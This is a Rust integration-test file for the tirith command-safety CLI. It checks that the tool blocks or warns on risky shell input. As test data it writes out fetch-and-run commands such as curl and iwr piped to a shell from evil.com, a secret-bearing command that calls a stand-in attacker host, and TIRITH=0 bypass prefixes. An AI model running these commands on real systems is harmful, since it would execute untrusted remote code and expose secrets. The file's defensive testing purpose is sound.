//! Integration tests for the tirith CLI binary.
//! Tests exercise subcommands via process invocation.

use std::fs;
#[cfg(unix)]
use std::io::Write;
use std::path::PathBuf;
use std::process::Command;

fn tirith() -> Command {
    let mut cmd = Command::new(env!("CARGO_BIN_EXE_tirith"));
    cmd.env_remove("TIRITH");
    cmd
}

#[test]
fn check_clean_command_allows() {
    let out = tirith()
        .args(["check", "--shell", "posix", "--", "ls -la"])
        .output()
        .expect("failed to run tirith");
    assert_eq!(out.status.code(), Some(0), "clean command should exit 0");
}

#[test]
fn check_curl_pipe_bash_blocks() {
    let out = tirith()
        .args([
            "check",
            "--shell",
            "posix",
            "--",
            "curl https://example.com/install.sh | bash",
        ])
        .output()
        .expect("failed to run tirith");
    assert_eq!(out.status.code(), Some(1), "curl pipe bash should exit 1");
}

#[test]
fn check_curl_pipe_bash_shows_remediation_hint() {
    let out = tirith()
        .args([
            "check",
            "--shell",
            "posix",
            "--non-interactive",
            "--",
            "curl https://example.com/install.sh | bash",
        ])
        .output()
        .expect("failed to run tirith");
    assert_eq!(out.status.code(), Some(1));
    let stderr = String::from_utf8_lossy(&out.stderr);
    assert!(
        stderr.contains("getvet.sh"),
        "human output should contain vet hint: {stderr}"
    );
}

#[test]
fn check_iwr_pipe_iex_no_tirith_run_hint() {
    let out = tirith()
        .args([
            "check",
            "--shell",
            "powershell",
            "--non-interactive",
            "--",
            "iwr https://evil.com/script.ps1 | iex",
        ])
        .output()
        .expect("failed to run tirith");
    assert_eq!(out.status.code(), Some(1));
    let stderr = String::from_utf8_lossy(&out.stderr);
    assert!(
        stderr.contains("getvet.sh"),
        "PowerShell fetch should show vet hint: {stderr}"
    );
    assert!(
        !stderr.contains("tirith run"),
        "PowerShell fetch should NOT suggest tirith run: {stderr}"
    );
}

#[test]
fn check_http_to_sink_blocks() {
    let out = tirith()
        .args([
            "check",
            "--shell",
            "posix",
            "--",
            "curl http://evil.com/payload",
        ])
        .output()
        .expect("failed to run tirith");
    assert_eq!(out.status.code(), Some(1), "http to sink should exit 1");
}

#[test]
fn check_shortened_url_warns() {
    let out = tirith()
        .args([
            "check",
            "--shell",
            "posix",
            "--",
            "curl https://bit.ly/abc123",
        ])
        .output()
        .expect("failed to run tirith");
    assert_eq!(
        out.status.code(),
        Some(2),
        "shortened URL should exit 2 (warn)"
    );
}

#[test]
fn check_json_output() {
    let out = tirith()
        .args([
            "check",
            "--shell",
            "posix",
            "--json",
            "--",
            "curl https://example.com/install.sh | bash",
        ])
        .output()
        .expect("failed to run tirith");
    assert_eq!(out.status.code(), Some(1));
    let stdout = String::from_utf8_lossy(&out.stdout);
    let json: serde_json::Value =
        serde_json::from_str(&stdout).expect("output should be valid JSON");
    assert_eq!(json["schema_version"], 3);
    assert_eq!(json["action"], "block");
    assert!(!json["findings"].as_array().unwrap().is_empty());
}

#[test]
fn check_json_output_redacts_assignment_values_in_findings() {
    let out = tirith()
        .args([
            "check",
            "--shell",
            "posix",
            "--interactive",
            "--json",
            "--",
            "OPENAI_API_KEY=sk-secret curl https://evil.com | sh",
        ])
        .output()
        .expect("failed to run tirith");
    assert_eq!(out.status.code(), Some(1));
    let stdout = String::from_utf8_lossy(&out.stdout);
    assert!(
        !stdout.contains("sk-secret"),
        "JSON output should not contain raw secret values: {stdout}"
    );
    assert!(
        stdout.contains("OPENAI_API_KEY=[REDACTED]"),
        "JSON output should scrub assignment values: {stdout}"
    );
}

#[test]
fn check_json_clean_output() {
    let out = tirith()
        .args(["check", "--shell", "posix", "--json", "--", "echo hello"])
        .output()
        .expect("failed to run tirith");
    assert_eq!(out.status.code(), Some(0));
    let stdout = String::from_utf8_lossy(&out.stdout);
    let json: serde_json::Value =
        serde_json::from_str(&stdout).expect("output should be valid JSON");
    assert_eq!(json["schema_version"], 3);
    assert_eq!(json["action"], "allow");
}

#[test]
fn check_powershell_iwr_iex_blocks() {
    let out = tirith()
        .args([
            "check",
            "--shell",
            "powershell",
            "--",
            "iwr https://evil.com/script.ps1 | iex",
        ])
        .output()
        .expect("failed to run tirith");
    assert_eq!(out.status.code(), Some(1), "iwr | iex should exit 1");
}

#[test]
fn check_powershell_invoke_expression_blocks() {
    let out = tirith()
        .args([
            "check",
            "--shell",
            "powershell",
            "--",
            "Invoke-WebRequest https://evil.com/script.ps1 | Invoke-Expression",
        ])
        .output()
        .expect("failed to run tirith");
    assert_eq!(out.status.code(), Some(1));
}

#[test]
fn paste_clean_text_allows() {
    let out = tirith()
        .args(["paste", "--shell", "posix"])
        .stdin(std::process::Stdio::piped())
        .output()
        .expect("failed to run tirith");
    assert_eq!(out.status.code(), Some(0));
}

#[test]
fn paste_ansi_escape_blocks() {
    use std::io::Write;
    let mut child = tirith()
        .args(["paste", "--shell", "posix"])
        .stdin(std::process::Stdio::piped())
        .stdout(std::process::Stdio::piped())
        .stderr(std::process::Stdio::piped())
        .spawn()
        .expect("failed to spawn tirith");

    child
        .stdin
        .take()
        .unwrap()
        .write_all(b"hello \x1b[31mred\x1b[0m world")
        .unwrap();

    let out = child.wait_with_output().unwrap();
    assert_eq!(
        out.status.code(),
        Some(1),
        "paste with ANSI escapes should block"
    );
}

#[test]
fn paste_inline_bypass_requires_interactive_mode() {
    use std::io::Write;
    let mut child = tirith()
        .args(["paste", "--shell", "posix"])
        .stdin(std::process::Stdio::piped())
        .spawn()
        .expect("failed to spawn tirith");

    child
        .stdin
        .take()
        .unwrap()
        .write_all(b"TIRITH=0 curl -LsSf https://example.com/install.sh | sh")
        .unwrap();

    let out = child.wait_with_output().unwrap();
    assert_eq!(
        out.status.code(),
        Some(1),
        "non-interactive paste should not honor bypass by default"
    );
}

#[test]
fn paste_inline_bypass_not_honored_with_interactive_flag() {
    use std::io::Write;
    let mut child = tirith()
        .args(["paste", "--shell", "posix", "--interactive"])
        .stdin(std::process::Stdio::piped())
        .spawn()
        .expect("failed to spawn tirith");

    child
        .stdin
        .take()
        .unwrap()
        .write_all(b"TIRITH=0 curl -LsSf https://example.com/install.sh | sh")
        .unwrap();

    let out = child.wait_with_output().unwrap();
    assert_eq!(
        out.status.code(),
        Some(1),
        "interactive paste should not honor pasted TIRITH=0 prefixes"
    );
}

#[test]
fn paste_env_wrapper_bypass_not_honored_with_interactive_flag() {
    use std::io::Write;
    let mut child = tirith()
        .args(["paste", "--shell", "posix", "--interactive"])
        .stdin(std::process::Stdio::piped())
        .spawn()
        .expect("failed to spawn tirith");

    child
        .stdin
        .take()
        .unwrap()
        .write_all(b"env TIRITH=0 curl -LsSf https://example.com/install.sh | sh")
        .unwrap();

    let out = child.wait_with_output().unwrap();
    assert_eq!(
        out.status.code(),
        Some(1),
        "interactive paste should not honor pasted env TIRITH=0 prefixes"
    );
}

#[test]
fn paste_process_level_bypass_still_honored_with_interactive_flag() {
    use std::io::Write;
    let mut child = tirith()
        .env("TIRITH", "0")
        .args(["paste", "--shell", "posix", "--interactive"])
        .stdin(std::process::Stdio::piped())
        .spawn()
        .expect("failed to spawn tirith");

    child
        .stdin
        .take()
        .unwrap()
        .write_all(b"curl -LsSf https://example.com/install.sh | sh")
        .unwrap();

    let out = child.wait_with_output().unwrap();
    assert_eq!(
        out.status.code(),
        Some(0),
        "interactive paste should still honor process-level TIRITH=0 bypass"
    );
}

#[test]
fn score_clean_url() {
    let out = tirith()
        .args(["score", "https://example.com/page"])
        .output()
        .expect("failed to run tirith");
    assert_eq!(out.status.code(), Some(0));
}

#[test]
fn score_suspicious_url() {
    let out = tirith()
        .args(["score", "https://bit.ly/abc123"])
        .output()
        .expect("failed to run tirith");
    // `score` always exits 0 even when findings are reported.
    assert_eq!(out.status.code(), Some(0));
}

#[test]
fn score_json_output() {
    let out = tirith()
        .args(["score", "--json", "https://bit.ly/abc123"])
        .output()
        .expect("failed to run tirith");
    let stdout = String::from_utf8_lossy(&out.stdout);
    let json: serde_json::Value =
        serde_json::from_str(&stdout).expect("score --json should output valid JSON");
    assert!(json.get("findings").is_some());
}

#[test]
fn why_no_trigger() {
    let out = tirith()
        .args(["why"])
        .output()
        .expect("failed to run tirith");
    // Exits 1 when no last_trigger.json exists — treat that as success here.
    assert!(
        out.status.code() == Some(0) || out.status.code() == Some(1),
        "why should exit 0 or 1"
    );
}

#[test]
fn check_last_trigger_redacts_assignment_values_in_findings() {
    let dir = tempfile::tempdir().expect("tempdir");
    let out = tirith()
        .env("XDG_DATA_HOME", dir.path())
        .env("APPDATA", dir.path())
        .args([
            "check",
            "--shell",
            "posix",
            "--interactive",
            "--",
            "OPENAI_API_KEY=sk-secret curl https://evil.com | sh",
        ])
        .output()
        .expect("failed to run tirith");
    assert_eq!(out.status.code(), Some(1));

    let last_trigger_path = dir.path().join("tirith").join("last_trigger.json");
    let contents =
        fs::read_to_string(&last_trigger_path).expect("last_trigger.json should be written");
    assert!(
        !contents.contains("sk-secret"),
        "last_trigger.json should not contain raw secret values: {contents}"
    );
    assert!(
        contents.contains("OPENAI_API_KEY=[REDACTED]"),
        "last_trigger.json should scrub assignment values: {contents}"
    );
}

#[test]
fn check_wrapped_tirith_run_preserves_sink_rules() {
    for command in [
        "env tirith run http://example.com",
        "command tirith run http://example.com",
        "time tirith run http://example.com",
    ] {
        let out = tirith()
            .args(["check", "--shell", "posix", "--", command])
            .output()
            .expect("failed to run tirith");
        assert_eq!(
            out.status.code(),
            Some(1),
            "wrapped tirith run should trigger sink rules: {command}"
        );
    }
}

#[test]
fn init_zsh_output() {
    let out = tirith()
        .args(["init", "--shell", "zsh"])
        .output()
        .expect("failed to run tirith");
    assert_eq!(out.status.code(), Some(0));
    let stdout = String::from_utf8_lossy(&out.stdout);
    assert!(
        stdout.contains("zsh-hook.zsh") || stdout.contains("source"),
        "init --shell zsh should reference zsh hook"
    );
}

#[test]
fn init_bash_output() {
    let out = tirith()
        .args(["init", "--shell", "bash"])
        .output()
        .expect("failed to run tirith");
    assert_eq!(out.status.code(), Some(0));
    let stdout = String::from_utf8_lossy(&out.stdout);
    assert!(
        stdout.contains("bash-hook.bash"),
        "init --shell bash should reference bash hook"
    );
    assert!(
        !stdout.contains("export TIRITH_BASH_MODE=enter"),
        "init --shell bash should not override user-provided TIRITH_BASH_MODE"
    );
}

#[test]
fn init_unsupported_shell() {
    let out = tirith()
        .args(["init", "--shell", "tcsh"])
        .output()
        .expect("failed to run tirith");
    assert_eq!(out.status.code(), Some(1));
}

#[cfg(unix)]
#[test]
fn bash_hook_defaults_to_preexec_in_ssh_sessions() {
    let hook = format!(
        "{}/assets/shell/lib/bash-hook.bash",
        env!("CARGO_MANIFEST_DIR")
    );
    let script = format!(
        "unset TIRITH_BASH_MODE; export SSH_CONNECTION=1; source '{hook}'; printf '%s' \"$_TIRITH_BASH_MODE\""
    );
    let out = Command::new("bash")
        .args(["--norc", "--noprofile", "-c", &script])
        .env_remove("_TIRITH_BASH_LOADED")
        .output()
        .expect("failed to run bash");
    assert_eq!(out.status.code(), Some(0));
    let stdout = String::from_utf8_lossy(&out.stdout);
    assert_eq!(
        stdout, "preexec",
        "SSH sessions should default to preexec mode"
    );
}

#[cfg(unix)]
#[test]
fn bash_hook_respects_explicit_mode_override_in_ssh_sessions() {
    let hook = format!(
        "{}/assets/shell/lib/bash-hook.bash",
        env!("CARGO_MANIFEST_DIR")
    );
    let script = format!(
        "export TIRITH_BASH_MODE=enter; export SSH_CONNECTION=1; source '{hook}'; printf '%s' \"$_TIRITH_BASH_MODE\""
    );
    let out = Command::new("bash")
        .args(["--norc", "--noprofile", "-c", &script])
        .env_remove("_TIRITH_BASH_LOADED")
        .output()
        .expect("failed to run bash");
    assert_eq!(out.status.code(), Some(0));
    let stdout = String::from_utf8_lossy(&out.stdout);
    assert_eq!(
        stdout, "enter",
        "explicit TIRITH_BASH_MODE should take precedence"
    );
}

#[test]
fn embedded_shell_hooks_match_repo_hooks() {
    let manifest_dir = PathBuf::from(env!("CARGO_MANIFEST_DIR"));
    let embedded_dir = manifest_dir.join("assets/shell/lib");
    let repo_dir = manifest_dir.join("../../shell/lib");

    if !repo_dir.exists() {
        // Skip when running outside the workspace (e.g. a crate-only
        // package test where shell/lib is not present).
        return;
    }

    for hook in [
        "zsh-hook.zsh",
        "bash-hook.bash",
        "fish-hook.fish",
        "powershell-hook.ps1",
        "nushell-hook.nu",
    ] {
        let embedded = fs::read_to_string(embedded_dir.join(hook))
            .unwrap_or_else(|e| panic!("failed reading embedded hook {hook}: {e}"));
        let repo = fs::read_to_string(repo_dir.join(hook))
            .unwrap_or_else(|e| panic!("failed reading repo hook {hook}: {e}"));
        assert_eq!(
            embedded, repo,
            "embedded hook {hook} must stay in sync with shell/lib/{hook}"
        );
    }
}

#[test]
fn tier1_exit_fast_for_ls() {
    let out = tirith()
        .args(["check", "--json", "--shell", "posix", "--", "ls -la /tmp"])
        .output()
        .expect("failed to run tirith");
    assert_eq!(out.status.code(), Some(0));
    let stdout = String::from_utf8_lossy(&out.stdout);
    let json: serde_json::Value = serde_json::from_str(&stdout).unwrap();
    assert_eq!(json["tier_reached"], 1, "ls should exit at Tier 1");
}

#[test]
fn tier3_reached_for_curl() {
    let out = tirith()
        .args([
            "check",
            "--json",
            "--shell",
            "posix",
            "--",
            "curl https://example.com/install.sh | bash",
        ])
        .output()
        .expect("failed to run tirith");
    let stdout = String::from_utf8_lossy(&out.stdout);
    let json: serde_json::Value = serde_json::from_str(&stdout).unwrap();
    assert_eq!(
        json["tier_reached"], 3,
        "curl pipe bash should reach Tier 3"
    );
}

#[test]
fn bypass_in_interactive_mode() {
    let out = tirith()
        .env("TIRITH", "0")
        .args([
            "check",
            "--json",
            "--shell",
            "posix",
            "--",
            "curl https://example.com/install.sh | bash",
        ])
        .output()
        .expect("failed to run tirith");
    let stdout = String::from_utf8_lossy(&out.stdout);
    let json: serde_json::Value = serde_json::from_str(&stdout).unwrap();
    // Whether the bypass is honored depends on policy; assert only that
    // the request was recorded in the envelope.
    assert!(json.get("bypass_requested").is_some());
}

#[test]
fn json_includes_observability() {
    let out = tirith()
        .args([
            "check",
            "--json",
            "--shell",
            "posix",
            "--",
            "curl https://example.com/install.sh | bash",
        ])
        .output()
        .expect("failed to run tirith");
    let stdout = String::from_utf8_lossy(&out.stdout);
    let json: serde_json::Value = serde_json::from_str(&stdout).unwrap();
    assert!(json.get("timings_ms").is_some());
    assert!(json.get("tier_reached").is_some());
    assert!(json.get("urls_extracted_count").is_some());
}

#[test]
fn diff_url() {
    let out = tirith()
        .args(["diff", "https://example.com/page"])
        .output()
        .expect("failed to run tirith");
    assert_eq!(out.status.code(), Some(0));
}

#[test]
fn receipt_list_empty() {
    let out = tirith()
        .args(["receipt", "list"])
        .output()
        .expect("failed to run tirith");
    assert!(
        out.status.code() == Some(0) || out.status.code() == Some(1),
        "receipt list should work"
    );
}

#[cfg(unix)]
#[test]
fn paste_trailing_cr_allows() {
    let mut child = Command::new(env!("CARGO_BIN_EXE_tirith"))
        .args(["paste", "--shell", "posix"])
        .stdin(std::process::Stdio::piped())
        .stdout(std::process::Stdio::piped())
        .stderr(std::process::Stdio::piped())
        .spawn()
        .expect("failed to spawn tirith");
    child
        .stdin
        .as_mut()
        .unwrap()
        .write_all(b"/some/path\r")
        .unwrap();
    let out = child.wait_with_output().unwrap();
    assert_eq!(
        out.status.code(),
        Some(0),
        "trailing \\r should not trigger control_chars block"
    );
}

#[cfg(unix)]
#[test]
fn paste_embedded_cr_blocks() {
    let mut child = Command::new(env!("CARGO_BIN_EXE_tirith"))
        .args(["paste", "--shell", "posix"])
        .stdin(std::process::Stdio::piped())
        .stdout(std::process::Stdio::piped())
        .stderr(std::process::Stdio::piped())
        .spawn()
        .expect("failed to spawn tirith");
    child
        .stdin
        .as_mut()
        .unwrap()
        .write_all(b"safe\rmalicious")
        .unwrap();
    let out = child.wait_with_output().unwrap();
    assert_eq!(
        out.status.code(),
        Some(1),
        "embedded \\r before non-\\n should trigger block"
    );
}

#[cfg(unix)]
#[test]
fn paste_windows_crlf_allows() {
    let mut child = Command::new(env!("CARGO_BIN_EXE_tirith"))
        .args(["paste", "--shell", "posix"])
        .stdin(std::process::Stdio::piped())
        .stdout(std::process::Stdio::piped())
        .stderr(std::process::Stdio::piped())
        .spawn()
        .expect("failed to spawn tirith");
    child
        .stdin
        .as_mut()
        .unwrap()
        .write_all(b"echo hello\r\necho world\r\n")
        .unwrap();
    let out = child.wait_with_output().unwrap();
    assert_eq!(
        out.status.code(),
        Some(0),
        "Windows \\r\\n line endings should not trigger block"
    );
}

#[cfg(unix)]
#[test]
fn bash_hook_enter_default_outside_ssh() {
    let tmpdir = tempfile::tempdir().expect("failed to create tmpdir");
    let hook = format!(
        "{}/assets/shell/lib/bash-hook.bash",
        env!("CARGO_MANIFEST_DIR")
    );
    let script = format!(
        "unset TIRITH_BASH_MODE; unset SSH_CONNECTION; unset SSH_TTY; unset SSH_CLIENT; source '{hook}'; printf '%s' \"$_TIRITH_BASH_MODE\""
    );
    let out = Command::new("bash")
        .args(["--norc", "--noprofile", "-c", &script])
        .env("XDG_STATE_HOME", tmpdir.path())
        .env_remove("_TIRITH_BASH_LOADED")
        .output()
        .expect("failed to run bash");
    assert_eq!(out.status.code(), Some(0));
    let stdout = String::from_utf8_lossy(&out.stdout);
    assert_eq!(
        stdout, "enter",
        "non-SSH sessions should default to enter mode"
    );
}

#[cfg(unix)]
#[test]
fn bash_hook_honors_persistent_safe_mode() {
    let tmpdir = tempfile::tempdir().expect("failed to create tmpdir");
    let state_dir = tmpdir.path().join("tirith");
    fs::create_dir_all(&state_dir).unwrap();
    fs::write(state_dir.join("bash-safe-mode"), "1\n").unwrap();

    let hook = format!(
        "{}/assets/shell/lib/bash-hook.bash",
        env!("CARGO_MANIFEST_DIR")
    );
    let script = format!(
        "unset TIRITH_BASH_MODE; unset SSH_CONNECTION; unset SSH_TTY; unset SSH_CLIENT; source '{hook}'; printf '%s' \"$_TIRITH_BASH_MODE\""
    );
    let out = Command::new("bash")
        .args(["--norc", "--noprofile", "-c", &script])
        .env("XDG_STATE_HOME", tmpdir.path())
        .env_remove("_TIRITH_BASH_LOADED")
        .output()
        .expect("failed to run bash");
    assert_eq!(out.status.code(), Some(0));
    let stdout = String::from_utf8_lossy(&out.stdout);
    assert_eq!(
        stdout, "preexec",
        "persistent safe-mode flag should force preexec"
    );
}

#[cfg(unix)]
#[test]
fn bash_hook_explicit_override_trumps_safe_mode() {
    let tmpdir = tempfile::tempdir().expect("failed to create tmpdir");
    let state_dir = tmpdir.path().join("tirith");
    fs::create_dir_all(&state_dir).unwrap();
    fs::write(state_dir.join("bash-safe-mode"), "1\n").unwrap();

    let hook = format!(
        "{}/assets/shell/lib/bash-hook.bash",
        env!("CARGO_MANIFEST_DIR")
    );
    let script = format!(
        "export TIRITH_BASH_MODE=enter; source '{hook}'; printf '%s' \"$_TIRITH_BASH_MODE\""
    );
    let out = Command::new("bash")
        .args(["--norc", "--noprofile", "-c", &script])
        .env("XDG_STATE_HOME", tmpdir.path())
        .env_remove("_TIRITH_BASH_LOADED")
        .output()
        .expect("failed to run bash");
    assert_eq!(out.status.code(), Some(0));
    let stdout = String::from_utf8_lossy(&out.stdout);
    assert_eq!(
        stdout, "enter",
        "explicit TIRITH_BASH_MODE should override safe-mode flag"
    );
}

#[cfg(unix)]
#[test]
fn bash_hook_prompt_hook_reattaches() {
    let hook = format!(
        "{}/assets/shell/lib/bash-hook.bash",
        env!("CARGO_MANIFEST_DIR")
    );
    // Source the hook, overwrite PROMPT_COMMAND, call the ensure helper,
    // and verify it re-attached.
    let script = format!(
        "source '{hook}'; PROMPT_COMMAND='other_fn'; _tirith_ensure_prompt_hook; [[ \"$PROMPT_COMMAND\" == *_tirith_prompt_hook* ]] && printf 'reattached' || printf 'missing'"
    );
    let out = Command::new("bash")
        .args(["--norc", "--noprofile", "-c", &script])
        .env_remove("_TIRITH_BASH_LOADED")
        .output()
        .expect("failed to run bash");
    assert_eq!(out.status.code(), Some(0));
    let stdout = String::from_utf8_lossy(&out.stdout);
    assert_eq!(
        stdout, "reattached",
        "_tirith_ensure_prompt_hook should reattach when overwritten"
    );
}

#[cfg(unix)]
fn expect_available() -> bool {
    Command::new("sh")
        .args(["-c", "command -v expect >/dev/null 2>&1"])
        .status()
        .map(|s| s.success())
        .unwrap_or(false)
}

#[cfg(unix)]
fn bash_major_version() -> Option<u32> {
    let out = Command::new("bash").arg("--version").output().ok()?;
    if !out.status.success() {
        return None;
    }
    let first = String::from_utf8_lossy(&out.stdout)
        .lines()
        .next()
        .unwrap_or_default()
        .to_string();
    let marker = "version ";
    let idx = first.find(marker)?;
    let rest = &first[idx + marker.len()..];
    let major = rest.split('.').next()?.trim().parse::<u32>().ok()?;
    Some(major)
}

#[cfg(unix)]
#[test]
fn bash_hook_startup_gate_degrade_persists() {
    let tmpdir = tempfile::tempdir().expect("failed to create tmpdir");

    let hook = format!(
        "{}/assets/shell/lib/bash-hook.bash",
        env!("CARGO_MANIFEST_DIR")
    );

    // `bash --norc --noprofile -i -c` is interactive enough for enter mode
    // to activate while skipping user config that might set
    // _TIRITH_BASH_LOADED. _TIRITH_TEST_FAIL_HEALTH=1 forces the startup
    // health gate to fail.
    let script =
        format!("_TIRITH_TEST_FAIL_HEALTH=1; source '{hook}'; printf '%s' \"$_TIRITH_BASH_MODE\"");
    let out = Command::new("bash")
        .args(["--norc", "--noprofile", "-i", "-c", &script])
        .env("XDG_STATE_HOME", tmpdir.path())
        .env_remove("TIRITH_BASH_MODE")
        .env_remove("SSH_CONNECTION")
        .env_remove("SSH_TTY")
        .env_remove("SSH_CLIENT")
        .env_remove("_TIRITH_BASH_LOADED")
        .output()
        .expect("failed to run bash");
    let stdout = String::from_utf8_lossy(&out.stdout);
    assert_eq!(
        stdout, "preexec",
        "health gate failure should degrade to preexec"
    );

    let flag = tmpdir.path().join("tirith/bash-safe-mode");
    assert!(
        flag.exists(),
        "safe-mode flag should be persisted after degrade"
    );

    // Re-source in a fresh shell; the persisted flag forces preexec.
    let script2 = format!(
        "unset TIRITH_BASH_MODE; unset SSH_CONNECTION; unset SSH_TTY; unset SSH_CLIENT; source '{hook}'; printf '%s' \"$_TIRITH_BASH_MODE\""
    );
    let out2 = Command::new("bash")
        .args(["--norc", "--noprofile", "-c", &script2])
        .env("XDG_STATE_HOME", tmpdir.path())
        .env_remove("_TIRITH_BASH_LOADED")
        .output()
        .expect("failed to run bash");
    let stdout2 = String::from_utf8_lossy(&out2.stdout);
    assert_eq!(
        stdout2, "preexec",
        "subsequent shells should start in preexec from persisted flag"
    );
}

#[cfg(unix)]
#[test]
fn bash_hook_runtime_delivery_failure_degrades_in_pty() {
    if !expect_available() {
        eprintln!("skipping PTY test: expect not available");
        return;
    }
    if bash_major_version().map(|v| v < 5).unwrap_or(true) {
        eprintln!("skipping PTY test: requires bash >= 5");
        return;
    }

    let tmpdir = tempfile::tempdir().expect("failed to create tmpdir");
    let hook = format!(
        "{}/assets/shell/lib/bash-hook.bash",
        env!("CARGO_MANIFEST_DIR")
    );

    // Drive the runtime _tirith_enter failure path in a real interactive
    // PTY:
    //   1. start in enter mode (startup gate bypassed for this test),
    //   2. break PROMPT_COMMAND delivery by making it readonly without the
    //      tirith hook,
    //   3. press Enter on a command and assert the auto-degrade message
    //      appears.
    let expect_script = r#"
set timeout 20
set hook $env(HOOK_PATH)
spawn -noecho bash --norc --noprofile -i
expect -re {[$#] $}
send -- "export PS1='PROMPT> '\r"
expect "PROMPT> "
send -- "source '$hook'\r"
expect "PROMPT> "
send -- "PROMPT_COMMAND=':'; readonly PROMPT_COMMAND\r"
expect "PROMPT> "
send -- "echo PTY_RUNTIME_CHECK\r"
expect {
  -re {switching to preexec} {}
  timeout { exit 2 }
}
send -- "\r"
expect "PROMPT> "
send -- "exit\r"
expect eof
"#;

    let out = Command::new("expect")
        .args(["-c", expect_script])
        .env("HOOK_PATH", &hook)
        .env("XDG_STATE_HOME", tmpdir.path())
        .env("_TIRITH_TEST_SKIP_HEALTH", "1")
        .env_remove("TIRITH_BASH_MODE")
        .env_remove("SSH_CONNECTION")
        .env_remove("SSH_TTY")
        .env_remove("SSH_CLIENT")
        .env_remove("_TIRITH_BASH_LOADED")
        .output()
        .expect("failed to run expect");

    assert!(
        out.status.success(),
        "expect-driven PTY test failed (code {:?})\nstdout:\n{}\nstderr:\n{}",
        out.status.code(),
        String::from_utf8_lossy(&out.stdout),
        String::from_utf8_lossy(&out.stderr)
    );

    let flag = tmpdir.path().join("tirith/bash-safe-mode");
    assert!(
        flag.exists(),
        "runtime delivery failure should persist safe-mode flag"
    );
}

#[cfg(unix)]
#[test]
fn bash_hook_noninteractive_no_safe_mode_flag() {
    let tmpdir = tempfile::tempdir().expect("failed to create tmpdir");

    let hook = format!(
        "{}/assets/shell/lib/bash-hook.bash",
        env!("CARGO_MANIFEST_DIR")
    );
    let script = format!(
        "unset TIRITH_BASH_MODE; unset SSH_CONNECTION; unset SSH_TTY; unset SSH_CLIENT; source '{hook}'"
    );
    let out = Command::new("bash")
        .args(["--norc", "--noprofile", "-c", &script])
        .env("XDG_STATE_HOME", tmpdir.path())
        .env_remove("_TIRITH_BASH_LOADED")
        .output()
        .expect("failed to run bash");
    assert_eq!(out.status.code(), Some(0));
    let flag = tmpdir.path().join("tirith/bash-safe-mode");
    assert!(
        !flag.exists(),
        "non-interactive sourcing should never write safe-mode flag"
    );
}

#[cfg(unix)]
#[test]
fn bash_hook_noninteractive_no_debug_trap() {
    let hook = format!(
        "{}/assets/shell/lib/bash-hook.bash",
        env!("CARGO_MANIFEST_DIR")
    );
    let script = format!(
        "unset TIRITH_BASH_MODE; unset SSH_CONNECTION; unset SSH_TTY; unset SSH_CLIENT; source '{hook}'; trap -p DEBUG"
    );
    let out = Command::new("bash")
        .args(["--norc", "--noprofile", "-c", &script])
        .env_remove("_TIRITH_BASH_LOADED")
        .output()
        .expect("failed to run bash");
    assert_eq!(out.status.code(), Some(0));
    let stdout = String::from_utf8_lossy(&out.stdout);
    assert!(
        stdout.trim().is_empty(),
        "non-interactive sourcing should not install DEBUG trap, got: {stdout}"
    );
}

#[cfg(unix)]
#[test]
fn bash_hook_noninteractive_mode_is_enter() {
    let tmpdir = tempfile::tempdir().expect("failed to create tmpdir");
    let hook = format!(
        "{}/assets/shell/lib/bash-hook.bash",
        env!("CARGO_MANIFEST_DIR")
    );
    let script = format!(
        "unset TIRITH_BASH_MODE; unset SSH_CONNECTION; unset SSH_TTY; unset SSH_CLIENT; source '{hook}'; printf '%s' \"$_TIRITH_BASH_MODE\""
    );
    let out = Command::new("bash")
        .args(["--norc", "--noprofile", "-c", &script])
        .env("XDG_STATE_HOME", tmpdir.path())
        .env_remove("_TIRITH_BASH_LOADED")
        .output()
        .expect("failed to run bash");
    assert_eq!(out.status.code(), Some(0));
    let stdout = String::from_utf8_lossy(&out.stdout);
    assert_eq!(
        stdout, "enter",
        "non-interactive enter mode: variable is set but nothing installed"
    );
}

#[test]
fn auto_checkpoint_cli_wiring_compiles_and_runs() {
    // Smoke test for the auto-checkpoint CLI wiring. The create-then-purge
    // logic is covered by `tirith_core::checkpoint::tests`; here we only
    // confirm `tirith check --interactive` invokes that path cleanly on a
    // destructive command.
    let tmpdir = tempfile::tempdir().expect("failed to create tmpdir");
    let workdir = tmpdir.path().join("project");
    fs::create_dir_all(&workdir).unwrap();
    fs::write(workdir.join("important.txt"), "do not delete").unwrap();

    let state_dir = tmpdir.path().join("state");

    let out = tirith()
        .args([
            "check",
            "--shell",
            "posix",
            "--interactive",
            "--",
            "rm -rf tempstuff",
        ])
        .env("XDG_STATE_HOME", &state_dir)
        .current_dir(&workdir)
        .output()
        .expect("failed to run tirith");
    assert_eq!(out.status.code(), Some(0), "rm -rf should be allowed");

    let stderr = String::from_utf8_lossy(&out.stderr);
    assert!(
        !stderr.contains("auto-checkpoint failed"),
        "auto-checkpoint should not report errors, got: {stderr}"
    );
}

#[cfg(unix)]
fn prepare_read_only_audit_log() -> (tempfile::TempDir, PathBuf) {
    use std::os::unix::fs::PermissionsExt;

    let tmpdir = tempfile::tempdir().expect("tempdir");
    let data_home = tmpdir.path().join("xdg-data");
    let tirith_dir = data_home.join("tirith");
    fs::create_dir_all(&tirith_dir).expect("create tirith data dir");

    let log_path = tirith_dir.join("log.jsonl");
    fs::write(&log_path, "{}\n").expect("seed audit log");
    fs::set_permissions(&log_path, std::fs::Permissions::from_mode(0o400))
        .expect("make audit log read-only");

    (tmpdir, data_home)
}

#[cfg(unix)]
fn run_check_with_audit_failure(debug: bool) -> std::process::Output {
    let (tmpdir, data_home) = prepare_read_only_audit_log();

    let mut cmd = tirith();
    cmd.env("XDG_DATA_HOME", &data_home)
        .env("APPDATA", tmpdir.path())
        .args([
            "check",
            "--shell",
            "posix",
            "--non-interactive",
            "--",
            "curl https://example.com/install.sh | bash",
        ]);
    if debug {
        cmd.env("TIRITH_AUDIT_DEBUG", "1");
    }

    cmd.output().expect("failed to run tirith check")
}

#[cfg(unix)]
fn run_paste_with_audit_failure(debug: bool) -> std::process::Output {
    let (tmpdir, data_home) = prepare_read_only_audit_log();

    let mut cmd = tirith();
    cmd.env("XDG_DATA_HOME", &data_home)
        .env("APPDATA", tmpdir.path())
        .args(["paste", "--shell", "posix", "--non-interactive"])
        .stdin(std::process::Stdio::piped())
        .stdout(std::process::Stdio::piped())
        .stderr(std::process::Stdio::piped());
    if debug {
        cmd.env("TIRITH_AUDIT_DEBUG", "1");
    }

    let mut child = cmd.spawn().expect("failed to spawn tirith paste");
    child
        .stdin
        .take()
        .expect("stdin pipe")
        .write_all(b"curl https://example.com/install.sh | bash")
        .expect("write paste input");
    child.wait_with_output().expect("wait on tirith paste")
}

#[cfg(unix)]
